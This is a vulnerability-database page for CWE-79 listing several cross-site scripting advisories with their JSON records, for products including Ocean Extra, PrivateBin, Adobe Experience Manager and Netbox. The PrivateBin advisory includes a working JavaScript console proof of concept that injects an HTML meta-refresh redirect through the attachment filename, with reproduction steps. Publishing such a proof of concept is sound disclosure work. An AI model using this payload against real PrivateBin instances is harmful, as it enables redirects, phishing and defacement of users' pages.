CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
68772 vulnerabilities reference this CWE, most recent first.
GHSA-8673-R45M-47G8
Vulnerability from github – Published: 2024-04-09 21:32 – Updated: 2026-04-08 21:32The Ocean Extra plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘twitter_username’ parameter in versions up to, and including, 2.2.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2024-3167"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-09T19:15:39Z",
"severity": "MODERATE"
},
"details": "The Ocean Extra plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018twitter_username\u2019 parameter in versions up to, and including, 2.2.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-8673-r45m-47g8",
"modified": "2026-04-08T21:32:29Z",
"published": "2024-04-09T21:32:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3167"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ocean-extra/tags/2.2.6/includes/widgets/social-share.php#L269"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3066649"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a292579c-9755-4bd4-996c-23d19ca1c197?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-867C-P784-5Q6G
Vulnerability from github – Published: 2025-10-28 20:14 – Updated: 2025-10-29 14:48We’ve identified an HTML injection/XSS vulnerability in PrivateBin service that allows the injection of arbitrary HTML markup via the attached filename. Below are the technical details, PoC, reproduction steps, impact, and mitigation recommendations.
Recommend action: As the vulnerability has been fixed in the latest version, users are strongly encouraged to upgrade PrivateBin to the latest version and check that a strong CSP header, just as the default suggested one, is delivered.
Summary of the vulnerability: The attachment_name field containing the attached file name is included in the object that the client encrypts and is eventually rendered in the DOM without proper escaping.
Impact
The vulnerability allows attackers to inject arbitrary HTML into the filename displayed near the file size hint, when attachments are enabled. This is by definition a XSS vulnerability (CWE-80), in this case even a persistent XSS. As any HTML can be injected, basically, this can e.g. be used to inject a script tag (as per CWE-79).
That said, also due to previous issues, we have strong mitigations for this in place. The content security policy (CSP) does, if configured as recommend by the PrivateBin project, prevent any inline script execution, so the confidentiality of the paste is not affected.
However, as the reporter demonstrated, even when script execution is blocked, an HTML injection can still be used for attacks such as: * redirection using a meta redirect tag to redirect to a potentially malicious/attacker-controlled website * defacement of the website * phishing, in combination with the redirection to a clone of a PrivateBin phishing page or similar * potential attacks on other services hosted on the same domain
This list is by no means meant to be exhaustive, other attacks should be considered possible, that is why we treat this issue as a serious issue, even if the CSP is supposed to block the most attacks.
[!IMPORTANT]
Depending on the deployment, if the server has a different than the recommend CSP configured or the client (browser) somehow lacks a protection, the vulnerability can have much more serious impacts and potentially also allow XSS, which could mean the confidentiality of the PrivateBin instance is affected.
Technical Description
The front-end uses PrivateBin (client-side encryption) to format and encrypt data before sending. During the paste creation process, the client assembles a cipherMessage object containing, among other fields:
* paste -> paste text
* attachment -> file content (data-URI)
* attachment_name -> array with file names
Before encryption, the ServerInteraction.setCipherMessage(cipherMessage) function is called. By intercepting/altering the cipherMessage on the client immediately before encryption, it is possible to replace attachment_name with an attacker-controlled string; this string becomes part of the encrypted content, and when the paste is opened, the local client decrypts and inserts the name into the DOM unescaped, allowing the interpretation of inserted HTML markup.
Note that it was not necessary to reimplement encryption: the monkeypatch modifies the object before the client applies AES-GCM/PBKDF2/compression, thus avoiding ciphertext formatting issues.
Proof of concept
Paste this into the console on the PrivateBin page before clicking Create.
// Monkeypatch to modify attachment_name immediately before encryption
(() => {
const desiredName = '"><meta http-equiv="refresh" content="0;url=https://example.com/">.txt'; // <- adjust here
// get the namespace used by PrivateBin
if (!window.$ || !$.PrivateBin || !$.PrivateBin.ServerInteraction) {
return console.error('PrivateBin namespace not found (make sure you are on the PrivateBin page).');
}
const SI = $.PrivateBin.ServerInteraction;
// save original function
const origSetCipherMessage = SI.setCipherMessage?.bind(SI);
if (typeof origSetCipherMessage !== 'function') {
return console.error('setCipherMessage not found or is not a function.');
}
SI.setCipherMessage = async function(cipherMessage) {
try {
// cipherMessage here is the plain object the client intends to encrypt
if (cipherMessage && Array.isArray(cipherMessage.attachment_name)) {
console.log('[patch] original attachment_name:', cipherMessage.attachment_name);
cipherMessage.attachment_name = cipherMessage.attachment_name.map(() => desiredName);
console.log('[patch] attachment_name overwritten to:', cipherMessage.attachment_name);
} else if (cipherMessage && cipherMessage.attachment && Array.isArray(cipherMessage.attachment)) {
// if there are attachments but no attachment_name (rare), add a coherent array
cipherMessage.attachment_name = cipherMessage.attachment.map(() => desiredName);
console.log('[patch] attachment_name added:', cipherMessage.attachment_name);
} else {
// nothing to change
}
// call the original implementation (which performs the encryption)
return await origSetCipherMessage(cipherMessage);
} catch (err) {
console.error('Error in setCipherMessage monkeypatch:', err);
// in case of error, attempt to call the original anyway
return await origSetCipherMessage(cipherMessage);
}
};
console.log('Monkeypatch applied to ServerInteraction.setCipherMessage() - ready to send. (Reload the page to undo).');
})();
Reproduction Steps
- Access PrivateBin (in the program scope). A requirement is that you have file upload enabled.
- Attach any file via the UI (file content irrelevant).
- Open the browser console (F12 → Console).
- Paste the snippet above and adjust
desiredNameto the desired HTML payload (e.g.,"><meta http-equiv="refresh" content="0;url=https://example.com/">.txt). - Click Create. The client will encrypt and send the paste normally.
- Intercept/inspect the POST request (optional).
- Open the generated link.
What happens: When rendering the paste, the content of the injected attachment_name will be interpreted according to the context, demonstrating the impact.
Mitigation
We strongly recommend you to upgrade to our latest release. However, here are some workarounds that may help you to mitigate this vulnerability without upgrade:
- Update the CSP in your configuration file to the latest recommended settings and check that it isn't getting reverted or overwritten by your web server, reverse proxy or CDN, i.e. using our offered check service. Note: You should check your CSP independently, even if you upgrade to a fixed version. See also the section "More information" about how we recently enhanced the CSP protection.
- Deploying PrivateBin on a separate domain may limit the scope of the vulnerability to PrivateBin itself and thus, as described in the “Impact” section, effectively prevent any damage by the vulnerability to other resources you are hosting.
- As explained in the impact assessment, disabling attachments also prevents this issue.
Patches
The issue has been patched in version 2.0.2. The change that displayed the attachment name without sanitation was introduced in version 1.7.7. The code-changes in PrivateBin mitigating this issue can be found in commit c4f8482b3072be7ae012cace1b3f5658dcc3b42e.
References
We highly encourage server administrators and others involved with the PrivateBin project to read-up on how Content-Security-Policies work, especially should you consider to manually adjust it: * https://content-security-policy.com/ * https://developer.mozilla.org/docs/Web/HTTP/CSP * https://developers.google.com/web/fundamentals/security/csp/
Also please note that if multiple headers are set (as e.g. done via our introduced meta tag) browsers should apply the most restrictive set of the policies, as per the CSP specification.
More information
This issue is similar to https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-cqcc-mm6x-vmvw, but was, based on our analysis, apparently introduced in https://github.com/PrivateBin/PrivateBin/pull/1550.
Note that we have, independently as of this issue and as per regular security maintenance, already applied many CSP improvements and strengthened this security mechanism of PrivateBin. This includes in detail:
* As part of the last XSS vulnerability, we have now included the CSP in a meta HTML tag, too, so in case the headers are somehow mangled with by (reverse) proxies or similar, the PrivateBin instance should still be protected as long as this HTML meta tag is included in an unchanged way.
* https://github.com/PrivateBin/PrivateBin/pull/1613 - We have removed a outdated configuration recommendation, as default-src does not need to allow self anymore, but it can keep the more strict none even when using the bootstrap SVG icons. (previously a problem in Firefox prevented this)
* https://github.com/PrivateBin/PrivateBin/pull/1464 - We could remove the previously used unsafe-eval that was a potentially risky CSP source being allowed for scripts, and replaced it with wasm-unsafe-eval for the streaming of a WebAssembly component used for optional compression. This can be disabled in the configuration and then wasm-unsafe-eval can also be removed.
In case you have not noticed this and did not upgrade your CSP header yet, we strongly recommend to do it as soon as possible!
Credits
On Thursday October 23rd, 2025 we received a report via email at security@privatebin.org. The reporter asked to stay anonymous. We thank them a lot for the detailed reporting of this vulnerability, including the description of the proof of concept listed above!
In general, we'd like to thank everyone reporting issues and potential vulnerabilities to us.
If you think you have found a vulnerability or potential security risk, we'd kindly ask you to follow our security policy and report it to us. We then assess the report and will take the actions we deem necessary to address it.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "privatebin/privatebin"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.7"
},
{
"fixed": "2.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62796"
],
"database_specific": {
"cwe_ids": [
"CWE-601",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-28T20:14:09Z",
"nvd_published_at": "2025-10-28T21:15:40Z",
"severity": "MODERATE"
},
"details": "We\u2019ve identified an HTML injection/XSS vulnerability in PrivateBin service that allows the injection of arbitrary HTML markup via the attached filename. Below are the technical details, PoC, reproduction steps, impact, and mitigation recommendations.\n\n**Recommend action:** As the vulnerability has been fixed in the latest version, users are **strongly encouraged** to upgrade PrivateBin to the latest version _and_ [check](https://privatebin.info/directory/check) that a strong CSP header, just as the default suggested one, is delivered.\n\n**Summary of the vulnerability:** The `attachment_name` field containing the attached file name is included in the object that the client encrypts and is eventually rendered in the DOM without proper escaping.\n\n## Impact\nThe vulnerability allows attackers to inject arbitrary HTML into the filename displayed near the file size hint, when attachments are enabled. This is by definition [a XSS vulnerability (CWE-80)](https://cwe.mitre.org/data/definitions/80.html), in this case even a persistent XSS. As any HTML can be injected, basically, this can e.g. be used to inject [a script tag (as per CWE-79)](https://cwe.mitre.org/data/definitions/79.html).\n\nThat said, also due to [previous issues](#more-informaton), we have strong mitigations for this in place. The [content security policy (CSP)](https://content-security-policy.com/) does, if configured as recommend by the PrivateBin project, prevent any inline script execution, so the confidentiality of the paste is _not_ affected.\n\nHowever, as the reporter demonstrated, even when script execution is blocked, an HTML injection can still be used for attacks such as:\n* redirection using a meta redirect tag to redirect to a potentially malicious/attacker-controlled website\n* defacement of the website\n* phishing, in combination with the redirection to a clone of a PrivateBin phishing page or similar\n* potential attacks on other services hosted on the same domain\n\nThis list is by no means meant to be exhaustive, other attacks should be considered possible, that is why we treat this issue as a serious issue, even if the CSP is supposed to block the most attacks.\n\n\u003e [!IMPORTANT] \n\u003e Depending on the deployment, if the server has a different than the recommend CSP configured or the client (browser) somehow lacks a protection, the vulnerability can have much more serious impacts and potentially also allow XSS, which could mean the confidentiality of the PrivateBin instance is affected. \n\n## Technical Description\n\nThe front-end uses PrivateBin (client-side encryption) to format and encrypt data before sending. During the paste creation process, the client assembles a `cipherMessage` object containing, among other fields:\n* `paste` -\u003e paste text\n* `attachment` -\u003e file content (data-URI)\n* `attachment_name` -\u003e array with file names\n\nBefore encryption, the `ServerInteraction.setCipherMessage(cipherMessage)` function is called. By intercepting/altering the `cipherMessage` on the client immediately before encryption, it is possible to replace `attachment_name` with an attacker-controlled string; this string becomes part of the encrypted content, and when the paste is opened, the local client decrypts and inserts the name into the DOM unescaped, allowing the interpretation of inserted HTML markup.\n\nNote that it was not necessary to reimplement encryption: the monkeypatch modifies the object before the client applies AES-GCM/PBKDF2/compression, thus avoiding ciphertext formatting issues.\n\n## Proof of concept\nPaste this into the console on the PrivateBin page before clicking Create.\n\n```js\n// Monkeypatch to modify attachment_name immediately before encryption\n(() =\u003e {\n const desiredName = \u0027\"\u003e\u003cmeta http-equiv=\"refresh\" content=\"0;url=https://example.com/\"\u003e.txt\u0027; // \u003c- adjust here\n\n // get the namespace used by PrivateBin\n if (!window.$ || !$.PrivateBin || !$.PrivateBin.ServerInteraction) {\n return console.error(\u0027PrivateBin namespace not found (make sure you are on the PrivateBin page).\u0027);\n }\n\n const SI = $.PrivateBin.ServerInteraction;\n // save original function\n const origSetCipherMessage = SI.setCipherMessage?.bind(SI);\n\n if (typeof origSetCipherMessage !== \u0027function\u0027) {\n return console.error(\u0027setCipherMessage not found or is not a function.\u0027);\n }\n\n SI.setCipherMessage = async function(cipherMessage) {\n try {\n // cipherMessage here is the plain object the client intends to encrypt\n if (cipherMessage \u0026\u0026 Array.isArray(cipherMessage.attachment_name)) {\n console.log(\u0027[patch] original attachment_name:\u0027, cipherMessage.attachment_name);\n cipherMessage.attachment_name = cipherMessage.attachment_name.map(() =\u003e desiredName);\n console.log(\u0027[patch] attachment_name overwritten to:\u0027, cipherMessage.attachment_name);\n } else if (cipherMessage \u0026\u0026 cipherMessage.attachment \u0026\u0026 Array.isArray(cipherMessage.attachment)) {\n // if there are attachments but no attachment_name (rare), add a coherent array\n cipherMessage.attachment_name = cipherMessage.attachment.map(() =\u003e desiredName);\n console.log(\u0027[patch] attachment_name added:\u0027, cipherMessage.attachment_name);\n } else {\n // nothing to change\n }\n\n // call the original implementation (which performs the encryption)\n return await origSetCipherMessage(cipherMessage);\n } catch (err) {\n console.error(\u0027Error in setCipherMessage monkeypatch:\u0027, err);\n // in case of error, attempt to call the original anyway\n return await origSetCipherMessage(cipherMessage);\n }\n };\n\n console.log(\u0027Monkeypatch applied to ServerInteraction.setCipherMessage() - ready to send. (Reload the page to undo).\u0027);\n})();\n```\n\n## Reproduction Steps\n\n1. Access PrivateBin (in the program scope). A requirement is that you have file upload enabled.\n2. Attach any file via the UI (file content irrelevant).\n3. Open the browser console (F12 \u2192 Console).\n4. Paste the snippet above and adjust `desiredName` to the desired HTML payload (e.g.,` \"\u003e\u003cmeta http-equiv=\"refresh\" content=\"0;url=https://example.com/\"\u003e.txt`).\n5. Click Create. The client will encrypt and send the paste normally.\n6. Intercept/inspect the POST request (optional).\n7. Open the generated link.\n\n**What happens:** When rendering the paste, the content of the injected attachment_name will be interpreted according to the context, demonstrating the impact.\n\n## Mitigation\n\nWe strongly recommend you to **upgrade to our latest release**. However, here are some workarounds that may help you to mitigate this vulnerability without upgrade:\n\n* Update the [CSP in your configuration file](https://github.com/PrivateBin/PrivateBin/wiki/Configuration#cspheader) to the latest recommended settings and check that it isn\u0027t getting reverted or overwritten by your web server, reverse proxy or CDN, i.e. using [our offered check service](https://privatebin.info/directory/check).\n **Note:** You should check your CSP independently, even if you upgrade to a fixed version. See also the section [\"More information\"](#more-information) about how we recently enhanced the CSP protection. \n* Deploying PrivateBin on a separate domain may limit the scope of the vulnerability to PrivateBin itself and thus, as described in the \u201cImpact\u201d section, effectively prevent any damage by the vulnerability to other resources you are hosting.\n* As explained in the impact assessment, disabling attachments also prevents this issue.\n\n## Patches\n\nThe issue has been patched in version 2.0.2. The change that displayed the attachment name without sanitation was introduced in version 1.7.7. The code-changes in PrivateBin mitigating this issue can be found in commit c4f8482b3072be7ae012cace1b3f5658dcc3b42e.\n\n## References\nWe highly encourage server administrators and others involved with the PrivateBin project to read-up on how Content-Security-Policies work, especially should you consider to manually adjust it:\n* https://content-security-policy.com/\n* https://developer.mozilla.org/docs/Web/HTTP/CSP\n* https://developers.google.com/web/fundamentals/security/csp/\n\nAlso please note that if multiple headers are set (as e.g. done via our introduced meta tag) [browsers should apply the most restrictive set of the policies](https://stackoverflow.com/a/51153816/5008962), [as per the CSP specification](https://www.w3.org/TR/CSP2/#enforcing-multiple-policies).\n\n## More information\nThis issue is similar to https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-cqcc-mm6x-vmvw, but was, based on our analysis, apparently introduced in https://github.com/PrivateBin/PrivateBin/pull/1550.\n\nNote that we have, independently as of this issue and as per regular security maintenance, already applied many CSP improvements and strengthened this security mechanism of PrivateBin. This includes in detail:\n* As part of the [last XSS vulnerability](#more-information), we have now included the CSP in a meta HTML tag, too, so in case the headers are somehow mangled with by (reverse) proxies or similar, the PrivateBin instance should still be protected as long as this HTML meta tag is included in an unchanged way.\n* https://github.com/PrivateBin/PrivateBin/pull/1613 - We have removed a outdated configuration recommendation, as `default-src` does not need to allow `self` anymore, but it can keep the more strict `none` even when using the bootstrap SVG icons. ([previously a problem in Firefox prevented this](https://bugzilla.mozilla.org/show_bug.cgi?id=1773976))\n* https://github.com/PrivateBin/PrivateBin/pull/1464 - We could remove the previously used `unsafe-eval` that was a potentially risky CSP source being allowed for scripts, and replaced it with `wasm-unsafe-eval` for the streaming of a WebAssembly component used for optional compression. This can be disabled in the configuration and then `wasm-unsafe-eval` can also be removed.\n\nIn case you have not noticed this and did not upgrade your CSP header yet, **we strongly recommend to do it as soon as possible**!\n\n## Credits\n\nOn Thursday October 23rd, 2025 we received a report via email at security@privatebin.org. The reporter asked to stay anonymous. We thank them a lot for the detailed reporting of this vulnerability, including the description of the proof of concept listed above!\n\nIn general, we\u0027d like to thank everyone reporting issues and potential vulnerabilities to us.\n\nIf you think you have found a vulnerability or potential security risk, [we\u0027d kindly ask you to follow our security policy](https://github.com/PrivateBin/PrivateBin/blob/master/SECURITY.md) and report it to us. We then assess the report and will take the actions we deem necessary to address it.",
"id": "GHSA-867c-p784-5q6g",
"modified": "2025-10-29T14:48:58Z",
"published": "2025-10-28T20:14:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-867c-p784-5q6g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62796"
},
{
"type": "WEB",
"url": "https://github.com/PrivateBin/PrivateBin/pull/1550"
},
{
"type": "WEB",
"url": "https://github.com/PrivateBin/PrivateBin/commit/c4f8482b3072be7ae012cace1b3f5658dcc3b42e"
},
{
"type": "PACKAGE",
"url": "https://github.com/PrivateBin/PrivateBin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "PrivateBin is missing HTML sanitization of attached filename in file size hint"
}
GHSA-867P-WC4J-H963
Vulnerability from github – Published: 2025-12-10 21:31 – Updated: 2025-12-10 21:31Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
{
"affected": [],
"aliases": [
"CVE-2025-64847"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-10T19:16:32Z",
"severity": "MODERATE"
},
"details": "Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim\u2019s browser when they browse to the page containing the vulnerable field.",
"id": "GHSA-867p-wc4j-h963",
"modified": "2025-12-10T21:31:36Z",
"published": "2025-12-10T21:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64847"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-867V-952R-6CF8
Vulnerability from github – Published: 2025-08-14 12:30 – Updated: 2026-04-01 18:35Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in biscia7 Hide Text Shortcode allows Stored XSS. This issue affects Hide Text Shortcode: from n/a through 1.1.
{
"affected": [],
"aliases": [
"CVE-2025-49051"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-14T11:15:37Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in biscia7 Hide Text Shortcode allows Stored XSS. This issue affects Hide Text Shortcode: from n/a through 1.1.",
"id": "GHSA-867v-952r-6cf8",
"modified": "2026-04-01T18:35:49Z",
"published": "2025-08-14T12:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49051"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/hide-text-shortcode/vulnerability/wordpress-hide-text-shortcode-plugin-1-1-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-8686-4CR3-76WJ
Vulnerability from github – Published: 2023-01-07 06:30 – Updated: 2023-01-12 16:49Cross-site Scripting (XSS) - Stored in GitHub repository usememos/memos prior to 0.10.0.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/usememos/memos"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-0106"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-09T21:53:55Z",
"nvd_published_at": "2023-01-07T04:15:00Z",
"severity": "MODERATE"
},
"details": "Cross-site Scripting (XSS) - Stored in GitHub repository usememos/memos prior to 0.10.0.",
"id": "GHSA-8686-4cr3-76wj",
"modified": "2023-01-12T16:49:30Z",
"published": "2023-01-07T06:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0106"
},
{
"type": "WEB",
"url": "https://github.com/usememos/memos/commit/0f8ce3dd1696722f951d7195ad1f88b39a5d15d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/usememos/memos"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/5c0809cb-f4ff-4447-bed6-b5625fb374bb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "usememos/memos vulnerable to stored Cross-site Scripting"
}
GHSA-868H-V466-P6JJ
Vulnerability from github – Published: 2024-08-07 18:30 – Updated: 2024-08-07 18:30A vulnerability in the web-based management interface of Cisco ISE could allow an authenticated, remote attacker to conduct an XSS attack against a user of the interface.
This vulnerability is due to insufficient validation of user-supplied input by the web-based management interface of an affected system. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. To exploit this vulnerability, the attacker must have at least a low-privileged account on an affected device.
{
"affected": [],
"aliases": [
"CVE-2024-20443"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-07T17:15:50Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the web-based management interface of Cisco ISE could allow an authenticated, remote attacker to conduct an XSS attack against a user of the interface.\n\nThis vulnerability is due to insufficient validation of user-supplied input by the web-based management interface of an affected system. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. To exploit this vulnerability, the attacker must have at least a low-privileged account on an affected device.",
"id": "GHSA-868h-v466-p6jj",
"modified": "2024-08-07T18:30:44Z",
"published": "2024-08-07T18:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20443"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-xss-V2bm9JCY"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-868M-2QW8-H5VX
Vulnerability from github – Published: 2026-03-26 21:31 – Updated: 2026-03-27 18:31Improper Neutralization of Input During Web Page Generation ("Cross-site Scripting") vulnerability in Drupal Google Analytics GA4 allows Cross-Site Scripting (XSS).This issue affects Google Analytics GA4: from 0.0.0 before 1.1.14.
{
"affected": [],
"aliases": [
"CVE-2026-3529"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-26T21:17:09Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\"Cross-site Scripting\") vulnerability in Drupal Google Analytics GA4 allows Cross-Site Scripting (XSS).This issue affects Google Analytics GA4: from 0.0.0 before 1.1.14.",
"id": "GHSA-868m-2qw8-h5vx",
"modified": "2026-03-27T18:31:25Z",
"published": "2026-03-26T21:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3529"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-contrib-2026-024"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-868M-H5JC-RV3P
Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-05-24 17:45A cross-site scripting (XSS) issue in SEO Panel 4.8.0 allows remote attackers to inject JavaScript via archive.php in the "type" parameter.
{
"affected": [],
"aliases": [
"CVE-2021-29009"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-25T20:15:00Z",
"severity": "MODERATE"
},
"details": "A cross-site scripting (XSS) issue in SEO Panel 4.8.0 allows remote attackers to inject JavaScript via archive.php in the \"type\" parameter.",
"id": "GHSA-868m-h5jc-rv3p",
"modified": "2022-05-24T17:45:26Z",
"published": "2022-05-24T17:45:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29009"
},
{
"type": "WEB",
"url": "https://github.com/seopanel/Seo-Panel/issues/210"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-868M-QRCJ-PVQM
Vulnerability from github – Published: 2025-06-24 21:30 – Updated: 2025-06-24 21:30In Netbox Community 4.1.7, once authenticated, Configuration History > Addis vulnerable to cross-site scripting (XSS) due to thecurrent value` field rendering user supplied html. An authenticated attacker can leverage this to add malicious JavaScript to the any banner field. Once a victim edits a Configuration History version or attempts to Add a new version, the XSS payload will trigger.
{
"affected": [],
"aliases": [
"CVE-2024-56916"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-24T18:15:24Z",
"severity": "MODERATE"
},
"details": "In Netbox Community 4.1.7, once authenticated, Configuration History \u003e Add`is vulnerable to cross-site scripting (XSS) due to the `current value` field rendering user supplied html. An authenticated attacker can leverage this to add malicious JavaScript to the any banner field. Once a victim edits a Configuration History version or attempts to Add a new version, the XSS payload will trigger.",
"id": "GHSA-868m-qrcj-pvqm",
"modified": "2025-06-24T21:30:28Z",
"published": "2025-06-24T21:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56916"
},
{
"type": "WEB",
"url": "https://github.com/netbox-community/netbox/releases/tag/v4.1.7"
},
{
"type": "WEB",
"url": "https://github.com/noxlumens/Vulnerability-Research/tree/main/CVE-2024-56916"
},
{
"type": "WEB",
"url": "https://www.youtube.com/watch?v=GC8-PUlu2i8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-868X-C2PH-QM3R
Vulnerability from github – Published: 2022-05-24 19:13 – Updated: 2022-05-24 19:13A logic issue was addressed with improved restrictions. This issue is fixed in macOS Big Sur 11.3, iOS 14.5 and iPadOS 14.5, watchOS 7.4, tvOS 14.5. Processing maliciously crafted web content may lead to universal cross site scripting.
{
"affected": [],
"aliases": [
"CVE-2021-1826"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-08T15:15:00Z",
"severity": "MODERATE"
},
"details": "A logic issue was addressed with improved restrictions. This issue is fixed in macOS Big Sur 11.3, iOS 14.5 and iPadOS 14.5, watchOS 7.4, tvOS 14.5. Processing maliciously crafted web content may lead to universal cross site scripting.",
"id": "GHSA-868x-c2ph-qm3r",
"modified": "2022-05-24T19:13:37Z",
"published": "2022-05-24T19:13:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1826"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT212317"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT212323"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT212324"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT212325"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
